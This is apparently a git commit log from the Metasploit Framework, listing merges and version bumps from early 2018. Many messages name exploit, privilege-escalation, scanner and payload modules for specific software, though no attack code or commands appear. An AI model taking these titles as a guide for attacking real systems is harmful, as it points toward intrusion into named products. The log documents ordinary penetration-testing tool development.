Matthew Kienow 07d754f637 Add sessions cmd option to list inactive sessions
(cherry picked from commit cd38f56924)
2018-05-16 12:34:00 -04:00
Matthew Kienow 2d21fbe682 Add functionality to retrieve all sessions 2018-05-16 12:30:54 -04:00
Jacob Robles 72d8f5ba22 Land #10023, fix ms17-010 psexec similar to 4a56ecf3ae 2018-05-15 11:58:15 -07:00
Aaron Soto 3bc5b0bdcb Land #9991, Remove need for temp file with xdebug_unauth_exec 2018-05-15 11:58:15 -07:00
Brent Cook afa3b3a83f Land #10020, remove unneded require in msfupdate 2018-05-15 11:58:15 -07:00
Tim W 1de1b04c4f Land #9919, add libuser roothelper privilege escalation exploit 2018-05-15 11:58:14 -07:00
Metasploit a75b37579d Bump version of framework to 4.16.57 2018-05-10 10:04:15 -07:00
Tim W a260716305 Land #9868, fix post/osx/capture/keylog_recorder 2018-05-10 09:27:29 -07:00
Jeffrey Martin bbbd81bf1f Land #9994, tidy tests, add ms17_010_psexec 2018-05-09 17:48:54 -07:00
Jacob Robles b2b97db28b Land #9878, Add MSF module for EDB 6768, Mantis <= v1.1.3 Post-auth RCE 2018-05-09 17:48:53 -07:00
William Vu 80b16ea645 Land #9996, PRs from master are bad
PR's bad. Bad PR.
2018-05-09 17:48:53 -07:00
Brent Cook 76a47b81bc Land #9994, restore some SMB mixin aliases, add local definition 2018-05-09 17:48:53 -07:00
William Vu 0aaae09e5c Land #9980, PAN-OS readSessionVarsFromFile exploit 2018-05-09 17:48:53 -07:00
Brent Cook 78f546ce81 Land #9986, initial ruby_smb simple client integration 2018-05-09 17:48:52 -07:00
Brent Cook 0901f35f9c Land #9948, optimize, then delete unused code (the ultimate optimization) 2018-05-07 09:35:08 -07:00
Jacob Robles dcbc871883 Land #9988, playsms_uploadcsv_exec 2018-05-07 09:35:08 -07:00
Jacob Robles 75196b4fc6 Land #9944, playsms_filename_exec.rb 2018-05-07 09:35:08 -07:00
Tim W 9785ace675 Land #9977, fix crash during x64 linux reverse_tcp stager retry 2018-05-07 09:35:07 -07:00
William Vu a74b2b5716 Land #9970, final update to Drupalgeddon 2 2018-05-04 09:40:31 -05:00
William Vu 935fa6414e Land #9968, second round of Drupalgeddon 2 updates 2018-05-04 09:38:34 -05:00
bwatters-r7 38465e69a8 Land #8795, Added CVE-2016-0040 Windows Privilege Escalation
Merge branch 'land-8795' into upstream-master
2018-05-04 09:38:28 -05:00
Metasploit 6c669ecdfc Bump version of framework to 4.16.56 2018-05-03 10:03:41 -07:00
Tim W e0317671fe Land #9965, add author name to wlan_probe_request module 2018-05-03 09:21:02 -07:00
Jacob Robles 8739befa70 Land #9821, osCommerce 2.3.4.1 - Remote Code Execution 2018-05-03 09:21:02 -07:00
Jacob Robles d6cea3523a Land #9960, fix continuation warnings in payloads 2018-05-03 09:21:02 -07:00
Jeffrey Martin ad33d72e6e Land #9961, psexec native upload argument 2018-05-01 14:51:21 -07:00
Jeffrey Martin 635f483b42 Land #9881, cleanup psexec code 2018-05-01 14:51:20 -07:00
Brent Cook f4d9788454 Land #9954, Add search filtering to the CSV output option 2018-05-01 14:51:20 -07:00
Brent Cook 37767e9d4c Land #9951, Update linux/gather/enum_protections module 2018-05-01 14:51:20 -07:00
Brent Cook 9f2a442d9b Land #9942, IPv6 channel fixes 2018-05-01 16:46:37 -05:00
Brent Cook a14892774f Land #9942, IPv6 channel fixes for Python and Linux/macOS Meterpreters 2018-05-01 16:45:16 -05:00
Metasploit 7382928f10 Bump version of framework to 4.16.55 2018-04-30 08:04:29 -07:00
Aaron Soto c38bca1799 Land #9908, msfd_rce_remote and msfd_rce_browser 2018-04-30 09:49:50 -05:00
Aaron Soto 3b8280c33f Land #9918, XDebug Unauthenticated OS command execution 2018-04-30 09:42:26 -05:00
Sonny Gonzalez 173171e2c8 Land #9943 move super call in merge! so that it returns the proper value 2018-04-30 09:38:49 -05:00
Metasploit 0ba4e349a1 Bump version of framework to 4.16.54 2018-04-27 15:53:20 -07:00
Brent Cook 009e643ae3 autofilter = false means skip, which is reverse of intuition 2018-04-26 18:08:05 -05:00
Jeffrey Martin 188b02d1f5 Land #9937, enable autofilter on tp-link camera exploit 2018-04-26 16:06:10 -07:00
Brent Cook 3b7d2c8177 Land #9853, Update Linux sock_sendpage local exploit module 2018-04-26 16:06:10 -07:00
Metasploit 92ada42fc5 Bump version of framework to 4.16.53 2018-04-26 10:03:15 -07:00
Brent Cook b3ac70f539 Land #9877, Add kernel feature post API methods 2018-04-26 08:30:00 -07:00
William Vu 1d7ecb6d9e Land #9885, datastore fixes for stager retry code 2018-04-26 08:29:59 -07:00
William Vu 492b6003b5 Land #9931, minor fixes for #9876 (Drupalgeddon 2) 2018-04-26 08:29:59 -07:00
Brent Cook d340ef2632 Land #9876, Drupalgeddon 2 2018-04-26 08:29:59 -07:00
Brent Cook c23cbde8a1 Land #9900, add base64 encoder for ruby 2018-04-26 08:29:59 -07:00
Brent Cook ab12eb8c50 Land #9924, Improve debug output in ETERNALBLUE's verify_arch 2018-04-26 08:29:58 -07:00
Brent Cook 2aa7904270 Land #9886, ignore unused tags on host import 2018-04-26 08:29:58 -07:00
Brent Cook 6ea0e734f9 Land #9851, add workaround require for non-powershell psexec 2018-04-26 08:29:58 -07:00
Brendan Coles efc9c1724f Land #9829, add utility functions to Msf::Post::Linux::System
Merge branch 'landing-9829' into upstream-master
2018-04-23 11:21:11 -07:00
Wei Chen 0949bedf67 Land #9628, Add GitStack v2.3.10 Unauth REST API Aux Module
Land #9628
2018-04-23 11:21:11 -07:00
Wei Chen e5db541726 Land #9858, fix error handling in cmd_route
Land #9858
2018-04-23 11:21:11 -07:00
William Vu 9ea69b1e35 Land #9899, NOP generator fix for exploit_simple 2018-04-23 11:21:10 -07:00
Brent Cook 505eff4403 Land #9898, Fix target NOP generator not passed to payload 2018-04-23 11:21:10 -07:00
bwatters-r7 a44bcff2d8 Land #9756, Add lastore-daemon D-Bus Privilege Escalation exploit
Merge branch 'land-9756' into upstream-master
2018-04-23 11:21:10 -07:00
Brent Cook abfcdc3fa7 Land #9892, Fix target encoder not being passed to payload 2018-04-23 11:21:10 -07:00
bwatters-r7 6cbd7ba895 Land #9862, Post-exploitation module for meterpreter (Windows) to send wireless probe requests
Merge branch 'land-9862' into upstream-master
2018-04-23 11:21:10 -07:00
bwatters-r7 d2a43d934d Land # 9247, Add ASUS infosvr Auth Bypass Command Execution exploit
Merge branch 'land-9247' into upstream-master
2018-04-23 11:21:10 -07:00
Metasploit 01b4b52407 Bump version of framework to 4.16.52 2018-04-19 10:03:17 -07:00
sinn3r 63e096836f Land #9887, remove rex-text version lock
remove rex-text version lock
2018-04-18 15:31:20 -07:00
Tim W b958526b6a Land #9784, add osx high sierra APFS password disclosure post module 2018-04-18 15:31:20 -07:00
Adam Cammack 8bacddb18f Land #9872, Fix JSONRPC fields in external modules 2018-04-16 14:42:06 -07:00
Adam Cammack 0bb0e78599 Land #9874, Add option for STDIN timeout 2018-04-16 14:42:06 -07:00
Metasploit 3c677aa6bf Bump version of framework to 4.16.51 2018-04-13 10:25:33 -07:00
Jeffrey Martin 6b9be37741 Land #9875, Lock rex-text due to compatibility issues 2018-04-13 10:02:20 -07:00
William Vu c6d92e3123 Land #9871, search without arguments shows help
Lol, you can still specify an empty string to search all modules.
2018-04-13 10:02:19 -07:00
Adam Cammack 5b42a81d3a Land #9823, Private IP leak via WebRTC 2018-04-12 09:27:21 -07:00
Adam Cammack c3ecbb723d Land #9865, Update Meterpreter ls/dir help 2018-04-12 09:27:21 -07:00
Adam Cammack e43686177a Land #9833, Remove broken feature detection 2018-04-12 09:27:21 -07:00
William Vu 4e34413026 Land #9864, command stager debugging fix 2018-04-12 09:27:21 -07:00
Adam Cammack a8a0dd3fcb Land #9836, Force #! for external modules 2018-04-12 09:27:21 -07:00
Brent Cook 3fae373270 Land #9848, handle 'check' command on modules that do not implement it 2018-04-10 06:55:59 -07:00
Aaron Soto d394146339 Land #9845 Remove temp file after cmd execution 2018-04-10 06:55:59 -07:00
Brent Cook 876df392f1 Land #9822, Fix backgrounded aggressive exploits 2018-04-10 06:55:58 -07:00
h00die 084e6b1db3 Land #9813, Add etcd library and version scanner 2018-04-10 06:55:58 -07:00
William Vu 1743730158 Land #9839, rex-text 0.2.17 2018-04-10 08:48:56 -05:00
Brent Cook c9ae351156 Land #9812, Add Msf::Post::Linux::Kernel lib 2018-04-10 08:48:13 -05:00
Brent Cook c5db4c5021 Land #9834, add Python UDP channel support 2018-04-10 08:41:41 -05:00
Brent Cook fcafc54db1 Land #9828, fix reverse HTTP/S listeners for the wildcard address 2018-04-06 14:20:42 -07:00
Brent Cook 62c6340d70 Land #9794, Added support for regional dialects 2018-04-06 14:20:42 -07:00
Metasploit 06062f0347 Bump version of framework to 4.16.50 2018-04-05 10:08:13 -07:00
Brent Cook 69d995f98c Land #9817, load all the deps for msfvenom
Merge remote-tracking branch 'upstream/pr/9817' into upstream-master
2018-04-04 19:06:18 -07:00
Chris Higgins ded6a50883 Land #8539, ProcessMaker Plugin Upload exploit 2018-04-04 19:06:18 -07:00
bwatters-r7 8707047f41 Land # 8007, Added NTDSgrab module to metasploit.
Merge branch 'land-8007' into upstream-master
2018-04-04 19:06:18 -07:00
bwatters-r7 914f8ba872 Land #9734, Remove unwanted 'pop RAX' from windows/x64/reverse_(win)http 2018-04-04 19:06:17 -07:00
bwatters-r7 4765ffc05a Land #9595, Add post module RID Hijacking on Windows 2018-04-04 19:06:17 -07:00
Brent Cook 706b87d085 Land #9806, fix msfconsole -L with newer versions of Ruby 2018-04-04 19:06:17 -07:00
Brent Cook ef4fd1dc75 Land #9742, QNX exploit improvements 2018-04-03 09:13:57 -05:00
Brent Cook 9d5ab1dedf Land #9726, add simple Rex::Tar wrapper for consistency with other archive types 2018-04-03 09:13:56 -05:00
Brent Cook c2bf848ba9 Land #9748, Convert the smbloris DoS into an external module
Help reliability and performance. This some Ruby-specific external module
tooling as a result as well.
2018-04-03 09:13:56 -05:00
Brent Cook 7f62d49b2a Land #7949, Format binary registry data nicely on display 2018-04-03 09:13:55 -05:00
Brent Cook 1557540b08 Land #9774, use correct whitespace when patching python meterpreter 2018-04-03 09:13:55 -05:00
Brent Cook f4810c1085 Land #9787, Fix adding IPv6 routes with subnets or cidr masks
This bumps rex-socket for the previous commit.
2018-04-03 09:13:42 -05:00
Brent Cook f956bb9943 Land #9787, Fix adding IPv6 routes with subnets or CIDR masks 2018-04-03 09:13:30 -05:00
Brent Cook d98e85f97c Land #9803, Fix no-uac msi creation 2018-04-03 09:13:30 -05:00
Brent Cook c3f9ee2ae3 Land #9802, update kerberoasting setup docs 2018-04-03 09:13:29 -05:00
Brent Cook d6f23071ca Land #9718, Add get_user_spns 'kerberoasting' module 2018-04-03 09:13:29 -05:00
Brent Cook 61da48fc5d Land #9731, tool updates 2018-04-03 09:13:28 -05:00
William Vu d192be7764 Land #9738, msfconsole user-friendliness changes 2018-04-03 09:13:28 -05:00
William Vu 5560b201b0 Land #9791, s/upts/opts/ in transport_config.rb 2018-04-03 09:13:12 -05:00
Metasploit 6b15be18e7 Bump version of framework to 4.16.49 2018-03-30 09:28:25 -07:00
Brent Cook 707b358ad6 Land #9786, disable aggregator for the Ruby 2.5 transition 2018-03-30 08:34:52 -07:00
Brent Cook 60376fe3f4 Land #9785, bump rubies to address latest security issues 2018-03-30 08:34:52 -07:00
William Vu 10ed6637ed Land #9782, CheckCode::Safe for ms_ndproxy 2018-03-30 08:34:52 -07:00
William Vu c7d5d1f489 Land #9783, ARM WinRT support for ms17_010_psexec 2018-03-30 08:34:52 -07:00
Metasploit 5d9d0b19ee Bump version of framework to 4.16.48 2018-03-29 10:03:51 -07:00
Brent Cook 9d076f6842 Land #9776, if data is nil, stop reading the heartbleed socket 2018-03-29 09:42:03 -07:00
Jon Hart 36ba1468e8 Land #9760, @h00die's etcd scanner 2018-03-29 09:17:54 -07:00
Jacob Robles 3b87bf5a03 Land #9666, Add 2017-8917 RCE for Joomla 3.7.0 2018-03-29 09:17:54 -07:00
Wei Chen 6108d79dcd Land #9684, Adding ManageEngine Application Manager RCE
Land #9684
2018-03-27 15:44:50 -07:00
Wei Chen 409ae22a7e Land #9633, Exodus Wallet Remote Code Execution
Land #9633
2018-03-27 15:44:49 -07:00
William Vu fdf9ea04a6 Land #9775, module doc improvements to MS17-010 2018-03-27 15:44:49 -07:00
Wei Chen 5b1577e46d Land #9670, Gitstack v2.3.10 RCE
Land #9670
2018-03-27 14:24:23 -05:00
James Barnett 135b7c6b92 Land #9762, Fix OpenSSL deprecation in Ruby 2.5
This PR replaces a deprecated method in the Ruby 2.5
OpenSSL library. It also bumps the ruby-version to use 2.5.

Fixes #9576
2018-03-27 14:24:07 -05:00
Brent Cook 17040e9894 Land #9768, Use a better error in scriptable sessions 2018-03-27 14:21:48 -05:00
Jacob Robles 71a1ad69dc Land #9636, Improve post module persistence_exe 2018-03-27 14:21:48 -05:00
William Vu 57411b4ef8 Land #9708, reload_lib command for msfconsole 2018-03-27 14:21:47 -05:00
William Vu b870091380 Land #9423, PSH for jenkins_xstream_deserialize 2018-03-27 14:21:47 -05:00
William Vu c31a8ab687 Land #9618, pipe auditing improvements 2018-03-27 14:21:47 -05:00
h00die 72d2b46ac8 Land #9767 land magick number blog link update 2018-03-27 14:21:46 -05:00
William Vu 26d333357b Land #9765, missed Rex require in msfvenom
My bad. I thought I had caught them all. No idea how that happened. :(
2018-03-27 14:21:46 -05:00
Brent Cook 584a6ca796 Land #9656, add initial Komand plugin stub for evaluation 2018-03-27 14:21:41 -05:00
Brent Cook 106fbf8a17 Land #9586, fix #9112, improve android screenshot error message on failure 2018-03-27 14:21:02 -05:00
h00die c56e571b18 Land #9702 exploit for clipbucket 2018-03-27 13:55:43 -05:00
Matthew Kienow b860985347 Land #9747, make notes -o status similar to hosts 2018-03-27 13:55:37 -05:00
Brent Cook a94e6559e6 pin 4.x to the 2.x versions of metasploit-credential/metasploit_data_models 2018-03-27 11:34:48 -05:00
Adam Cammack 8bf76a71c2 Land #9739, Add Python logging module support 2018-03-22 11:18:22 -07:00
Adam Cammack 517b32c836 Land #9737, Add batch_size to external batch scanners 2018-03-22 11:18:22 -07:00
Brent Cook 37576d19a1 Land #9733, rename external templates 2018-03-22 11:18:22 -07:00
Metasploit 030eae5f61 Bump version of framework to 4.16.47 2018-03-22 10:04:25 -07:00
Jeffrey Martin 2ad3124f85 Land #9723, Require dependencies conditionally in msfvenom 2018-03-17 20:33:05 -07:00
Jeffrey Martin d756db4f9d Land #9613, add bind_named_pipe x86 2018-03-17 20:33:05 -07:00
Brent Cook ef7b77ed01 Land #9529, Add module for HP iLO CVE-2017-12542 authentication bypass 2018-03-17 20:33:05 -07:00
Brent Cook dcb514e5ac Land #9694, move ssh platforms to lib 2018-03-17 20:33:04 -07:00
Metasploit 7d072ccbcd Bump version of framework to 4.16.46 2018-03-15 10:05:30 -07:00
Jacob Robles 715279311a Land #8422, Typo3 News Module Sql Injection exploit 2018-03-15 09:21:14 -07:00
h00die 8af0d9ceaa Land #9713 update to juniper config docs 2018-03-15 06:49:02 -07:00
Brent Cook 44ac2e9c58 Land #9710, update test with proper CPE 2018-03-15 06:49:02 -07:00
Brent Cook bf43542743 Land #9705, update rubocop rules 2018-03-15 06:49:01 -07:00
Tim W 8f4895c8e7 Land #9706, bump metasploit payloads to fix #9497 2018-03-13 13:33:29 -07:00
Brent Cook c5e231cfbf Land #9686, add ipv6 to slowloris, rhost to non-scanner modules 2018-03-13 13:33:28 -07:00
Brent Cook 028d329b4d Land #9632, owa_login and auth_brute enhancements 2018-03-12 10:14:19 -07:00
Jacob Robles 8c60a73731 varnish anonymous file read 2018-03-09 14:55:11 -06:00
Jacob Robles bcc0a2a94c Land #7654, varnish file read 2018-03-09 12:53:20 -08:00
Metasploit 149f04cc58 Bump version of framework to 4.16.45 2018-03-08 10:05:29 -08:00
Jeffrey Martin 4778de053a Land #9687, bump payloads, fix PHP meterpreter message parsing 2018-03-07 18:47:47 -08:00
Jacob Robles 49bc0024c1 Land #9678, Add memcached UDP version scanner 2018-03-07 18:47:47 -08:00
Jacob Robles fbee660136 Land #9554, Eclipse Equinoxe OSGi console RCE 2018-03-07 07:49:31 -08:00
Jon Hart 64019d3301 Land #9676, correcting CVE and adding disclosure date for memcached
amplification
2018-03-07 07:49:30 -08:00
bwatters-r7 4ef90d8d6c Land #9606, Add some tests for cmd_exec
Merge branch 'for-the-windows' into upstream-master
2018-03-07 07:49:30 -08:00
Christian Mehlmauer c1b50f728b Land #9672, fix docker build 2018-03-07 07:49:30 -08:00
Brent Cook f6223c0193 Land #9614, Juniper post enum module 2018-03-07 07:49:29 -08:00
bwatters-r7 9be7bc9b21 Land #9665, Add missing reverse_tcp_rc4 payload tests.
Merge branch 'land-9665' into upstream-master
2018-03-05 15:29:21 -08:00
William Vu d3b4f91b4c Land #9671, missed code from TelnetEnable refactor 2018-03-05 15:29:21 -08:00
Jon Hart 6909c635bc Land #9644, @xistence's memcached stats amplification scanner 2018-03-05 15:29:20 -08:00
Brent Cook 31bf6d1bd0 Land #9669, fix SSL cert generation in provider 2018-03-05 15:29:20 -08:00
h00die 2731b91036 Land #9658 spelling and grammar fixes 2018-03-05 07:42:48 -08:00
h00die e57a1fbd43 Land #9650 netgear telnetenable exploit 2018-03-05 07:42:48 -08:00
h00die d5edb566f5 Land #9661 fix for heart logo 2018-03-05 07:42:48 -08:00
bwatters-r7 00d5fcfd97 ReLand #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
This reverts commit 7964868fcd.
2018-03-02 17:46:46 -06:00
Jacob Robles 0c86296d99 Land #9659, fix typo in comment 2018-03-02 17:46:21 -06:00
bwatters-r7 d2150c8d15 Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
This reverts commit fcc579377f, reversing
changes made to 95cd149378.
2018-03-02 17:45:58 -06:00
bwatters-r7 4841f29190 Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm 2018-03-02 16:41:33 -06:00
h00die 6060549512 Land #9654 msf heart logos 2018-03-02 16:41:33 -06:00
Jon Hart b63a018509 Land #9596, fixes #9592, broken NTP DRDoS modules 2018-03-02 16:41:24 -06:00
Brent Cook 4839e8e7c8 Land #9647, lock protobuf version 2018-03-01 15:40:04 -06:00
Metasploit 80f34c9b2d Bump version of framework to 4.16.44 2018-03-01 10:03:02 -08:00
William Vu 3fd2862f76 Land #9639, multi/handler exit on disabled handler
If DisablePayloadHandler is set, abort instead of hanging.
2018-03-01 07:48:02 -08:00
Metasploit 096ca90953 Bump version of framework to 4.16.43 2018-03-01 07:32:21 -08:00
Sonny Gonzalez 667cc5bcca Land #9653, fix Y2k38 issue (until Jan 1, 2038) 2018-03-01 09:28:11 -06:00
Jeffrey Martin 789034a06c Land #9638, treat 'password must change' as a successful login 2018-02-28 13:25:22 -08:00
h00die b2f112fd2b Land #9641 spelling fix for wmap rc 2018-02-28 08:50:01 -08:00
William Vu fac7f3d5be Fix #9602, a little defensive programming
Check for a nil message and unnecessary auth failures while looping.
2018-02-26 18:08:37 -06:00
Brent Cook 95a5ebc1e7 Land #9629, decouple hosts and targets for tests 2018-02-26 16:07:16 -08:00
Wei Chen 735fbc5c9f Land #9623, Support Win 2008/7+ for enum_ms_product_keys
Land #9623
2018-02-25 23:25:03 -08:00
h00die fc8cafe81a Land #9310 docs for many aux scanners 2018-02-25 23:25:02 -08:00
Brent Cook bffba1e5e3 Land #9607, upgrade osx shells to osx meterpreter 2018-02-25 23:25:02 -08:00
Metasploit 3021a3202b Bump version of framework to 4.16.42 2018-02-23 08:57:01 -08:00
William Vu 0a5e9d922f Land #9601, ms17_010_eternalblue reliability fixes 2018-02-23 08:31:02 -08:00
Brent Cook 2af4f56382 Land #9611, Fix bug causing all OWA logins to appear valid 2018-02-23 08:31:01 -08:00
bwatters-r7 ac6fede928 Land #9441, Create exploit for AsusWRT LAN RCE
Merge branch 'land-9441' into upstream-master
2018-02-23 08:31:01 -08:00
Metasploit c7cd9ca395 Bump version of framework to 4.16.41 2018-02-22 10:05:34 -08:00
Brent Cook fd029eda62 lock ruby_smb to 0.0.18 to match master 2018-02-22 11:13:12 -06:00
Jacob Robles 178afdaed1 Land #9604, Fix logged errors when running without Python 3.6 / gmpy2 2018-02-22 08:27:37 -08:00
Brent Cook a189673782 Land #9584, Fix reverse_php_ssl infinite loop 2018-02-22 08:27:36 -08:00
Brent Cook 826b986018 Land #9602, Create sessions with the Fortinet SSH backdoor scanner 2018-02-22 08:27:36 -08:00
Brent Cook 4e8fe54c6c Land #9524, prefer 'shell' channels over 'exec' channels for ssh CommandStream 2018-02-22 08:27:36 -08:00
William Vu c1d701f656 Land #9593, finger_users regex fix 2018-02-22 08:27:35 -08:00
Aaron Soto dc913b60e4 Land #9444 - hsts_eraser module and docs 2018-02-22 08:27:35 -08:00
Jacob Robles 40220b5ab6 Land #9594, CloudMe Sync v1.10.9 Buffer Overflow 2018-02-22 08:27:35 -08:00
Jacob Robles 72cb9f358e Land #9561, Disk Savvy Enterprise v10.4.18 built-in server buffer overflow 2018-02-22 08:27:34 -08:00
Brent Cook eb54ae4ec0 Land #9589, add some more payload specs 2018-02-20 10:18:22 -08:00
Brent Cook 3635a92f5a Land #9588, Fix silent fail on missing argument to wmap_sites -d idx 2018-02-20 09:24:55 -06:00
Brent Cook af8736cad6 Land #9585, fix ctrl-D handling with block continuation 2018-02-20 09:24:54 -06:00
Brent Cook 72efbb9534 Land #9583, move osx stage binary 2018-02-20 09:24:54 -06:00
Brent Cook d614e06bfa Land #8997, add local 'ls' support to Meterpreter sessions 2018-02-20 09:24:54 -06:00
Brent Cook 59a41f04f7 Land #9366, Add x64 staged Meterpreter for macOS 2018-02-20 09:24:41 -06:00
Brent Cook 8c2484d2da Land #9164, add OWA 2016 support 2018-02-20 09:24:13 -06:00
Chris Higgins d2c203bcb9 Lands #9504, MagniComp SysInfo privilege escalation 2018-02-20 09:24:13 -06:00
Brent Cook 13c8072bca Land #9505, Support local knowledge base documents 2018-02-20 09:24:12 -06:00
Brent Cook 5dede95e98 Land #9270, Implement plugin API for hooking database events 2018-02-20 09:24:12 -06:00
Brent Cook 2395f839d0 Land #9507, Expand paths for meterpreter's cp, mv, and rm commands 2018-02-20 09:24:12 -06:00
Brent Cook a27b2bff3c Land #9443, Add warning to FileDropper for deleting CWD 2018-02-20 09:24:11 -06:00
Brent Cook f581942c7f Land #9575, Fix wmap_sites -a exception on missing url 2018-02-18 20:27:53 -08:00
Brent Cook b3962c73b0 Land #9573, fixes for bind_named_pipe 2018-02-18 20:27:53 -08:00
Brent Cook 2d10a9a201 Land #9568, handle mismatch uid/gids in docker images 2018-02-18 20:27:53 -08:00
Brent Cook 0b719772cb Land #9572, add bind_named_pipe tests 2018-02-18 15:32:11 -08:00
Brent Cook d89a8c3eb9 Land #9571, specify a python encoding for the claymore DoS module 2018-02-16 15:34:49 -08:00
Brent Cook f055bccc2a Land #9570, properly handle when there is no stat callback specified on upload 2018-02-16 15:34:49 -08:00
Brent Cook 51a685bcc7 Land #9516, Support Bash-Style Continuation Lines 2018-02-16 15:34:48 -08:00
Brent Cook d2e71cfc8b Land #9512, Add Claymore Dual GPU Miner<= 10.5 DoS module 2018-02-16 15:34:48 -08:00
Brent Cook 60e37e1c78 Land #9562, avoid an error with aux module command dispatcher 2018-02-16 15:34:48 -08:00
Brent Cook 31ed50ac92 Land #9539, add bind_named_pipe transport to Windows meterpreter 2018-02-16 15:34:47 -08:00
Wei Chen 004e228a52 Land #9509, Ulterius Server < v1.9.5.0 Directory Traversal
Land #9509
2018-02-16 15:34:47 -08:00
Brent Cook e8ad3a98e9 Land #9558, Fix #9417, map timeout exp to a var for telnet_encrypt_overflow 2018-02-15 14:14:07 -08:00
Brent Cook b9a8f227fb Land #9533, Add output file support to the vulns command 2018-02-15 14:14:07 -08:00
Brent Cook 87dcb13413 update magic numbers 2018-02-15 15:25:47 -06:00
Brent Cook 1045c1fc11 Land #9564, honoring retry counts for x86/64 Windows reverse_tcp payloads 2018-02-15 13:22:56 -08:00
Brent Cook c5a73bdea3 Land #9563: improve memory usage on meterpreter file upload 2018-02-15 13:22:55 -08:00
Brent Cook 7cde510eb6 Land #9560, Fix undef method 'gsub' in bavision_cam_login 2018-02-15 13:22:55 -08:00
Metasploit 358954e15c Bump version of framework to 4.16.40 2018-02-15 10:03:12 -08:00
Brent Cook 0cee8485d0 Land #9557, add back udp_probe for now 2018-02-14 11:26:59 -08:00
Spencer McIntyre bdc0b47844 Land #9552, add private_type for stored tomcat pw
Fixes #9513
2018-02-13 19:55:54 -08:00
Jeffrey Martin aecc1f143f Land #7699, Add UDP handlers and payloads (redux) 2018-02-13 14:46:07 -08:00
Jacob Robles f281b45384 Land #9546, Correct Typo 2018-02-13 14:46:07 -08:00
Jacob Robles e485b152e3 Land #9542, Correct Typo 2018-02-13 14:46:06 -08:00
Jeffrey Martin 1126acb201 Land #9543, bump gems, remove rbnacl/ffi since unneeded 2018-02-12 11:57:18 -06:00
h00die 37cb2d77e7 Land #9422 abrt race condition priv esc on linux 2018-02-12 11:55:21 -06:00
Pearce Barry 6c3168c541 Land #9536, Add Ubuntu notes to documentation 2018-02-12 11:55:19 -06:00
Pearce Barry 73bcec5d11 Land #9408, Add Juju-run Agent Privilege Escalation module (CVE-2017-9232) 2018-02-12 11:55:19 -06:00
h00die 090f7c8bd6 Land #9467 linux priv esc against glibc origin 2018-02-12 11:55:19 -06:00
Wei Chen 72ed11574b Land #9532, Fix a bug in the MD docs references
Land #9532
2018-02-12 11:55:18 -06:00
h00die cd7187023c Land #9469 linux local exploit for glibc ld audit 2018-02-12 11:55:18 -06:00
Brent Cook 32bd516e70 Land #9525, Update mysql_hashdump for MySQL 5.7 and above 2018-02-12 11:55:17 -06:00
Jacob Robles 656eb1150a Land #9489, Add scanner for the Bleichenbacker oracle (AKA: ROBOT) 2018-02-09 16:11:57 -06:00
Metasploit 55ae1f7bbe Bump version of framework to 4.16.39 2018-02-09 09:49:50 -08:00
Pearce Barry 4d4538dceb Merge pull request #9531 from pbarry-r7/4.x-pick-up-ROBOT
Cherry-pick from master for 4.x (pick up ROBOT).  Using green GH button because I effed up my cmdline...  :/
2018-02-09 11:37:16 -06:00
Adam Cammack cd723ac86e Add scanner for Bleichenbacher oracle (ROBOT) 2018-02-09 11:14:30 -06:00
Adam Cammack b0da7fcd26 Add Enum-type options for external modules 2018-02-09 11:14:21 -06:00
Adam Cammack 0fe2fb9186 Add support for single-IP external scanners 2018-02-09 11:14:14 -06:00
Metasploit a7e779d987 Bump version of framework to 4.16.38 2018-02-08 10:04:59 -08:00
Brent Cook b696665adc Land #9478, Improve Dup Scout BOF exploit 2018-02-08 10:25:39 -06:00
Brent Cook 909b787a56 Land #9521, flush pipe buffers when a process exists in mettle 2018-02-08 10:25:25 -06:00
h00die 5457cec81c Land #9493 updates to various docs 2018-02-06 23:33:58 -06:00
scriptjunkie 64c0d60fbf Land #9492, fix for reverse port forwards 2018-02-06 23:33:52 -06:00
Matthew Kienow 49c9b3cf1e Land #9491, remove extra HTML from doc templates 2018-02-06 23:33:51 -06:00
Adam Cammack e82ff28374 Land #9490, Fix HTML escaping of Unicode in docs 2018-02-06 23:33:34 -06:00
Metasploit 1fdc4bdabb Bump version of framework to 4.16.37 2018-02-02 09:51:35 -08:00
William Vu 6c350be24e Land #9473, new MS17-010 aux and exploit modules 2018-02-02 11:32:40 -06:00
h00die 016af01fd8 Land #9399 a linux priv esc against apport and abrt 2018-02-02 11:32:29 -06:00
Brent Cook ce3d5d77e4 Land #9481, Update native DNS spoofer for Dnsruby 2018-02-02 11:32:18 -06:00
Brent Cook ec12d61702 Land #9354, Debut embedded httpd server (Brother printers) DoS 2018-02-02 11:31:59 -06:00
Metasploit 445b72fdcd Bump version of framework to 4.16.36 2018-02-01 10:03:16 -08:00
Brent Cook 48c3c7cd62 Land #9475, Fix import for Fix proxy authentication in reverse_http 2018-02-01 11:24:10 -06:00
bwatters-r7 64746d8325 Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
Merge branch 'land-9407' into upstream-master
2018-02-01 11:23:59 -06:00
h00die b7fbffa331 Land #9445 fixes for ssl labs scanner module 2018-02-01 11:23:46 -06:00
Jacob Robles 4fa68f29d9 Land #9457, Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow 2018-02-01 11:23:26 -06:00
Christian Mehlmauer a9d4a98d80 Land #9470, Update docker image dependencies
fix #8211
2018-02-01 11:22:51 -06:00
Metasploit cca76d2217 Bump version of framework to 4.16.35 2018-01-26 16:18:28 -08:00
William Vu bff02efad4 Land #9466, metasploit-payloads bump to 1.3.28 2018-01-26 18:09:20 -06:00
Aaron Soto 395320ba97 Land #9379, Oracle Weblogic RCE exploit and documentation 2018-01-26 18:08:56 -06:00
William Vu a87ae41d81 Land #9446, Post API fix for setuid_nmap 2018-01-26 18:08:47 -06:00
Jeffrey Martin 0d98135fcb Land #9462, add missing payload tests 2018-01-26 18:08:34 -06:00
Metasploit c2379308cf Bump version of framework to 4.16.34 2018-01-25 10:04:45 -08:00
bwatters-r7 af0c58c2ae Land #9335, Added socket bind port option for reverse tcp payload.
Merge branch 'land-9335' into upstream-master
2018-01-24 17:20:14 -06:00
Matthew Kienow b515a582f0 Land #9424, Add SharknAT&To external scanner 2018-01-24 17:20:03 -06:00
Brent Cook 25652c6c17 add missing gemfile.lock update 2018-01-24 17:19:06 -06:00
Pearce Barry 926ce42a01 Land #8632, colorado ftp fixes 2018-01-24 17:13:20 -06:00
bwatters-r7 2ea9ab2625 Land #9416, Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
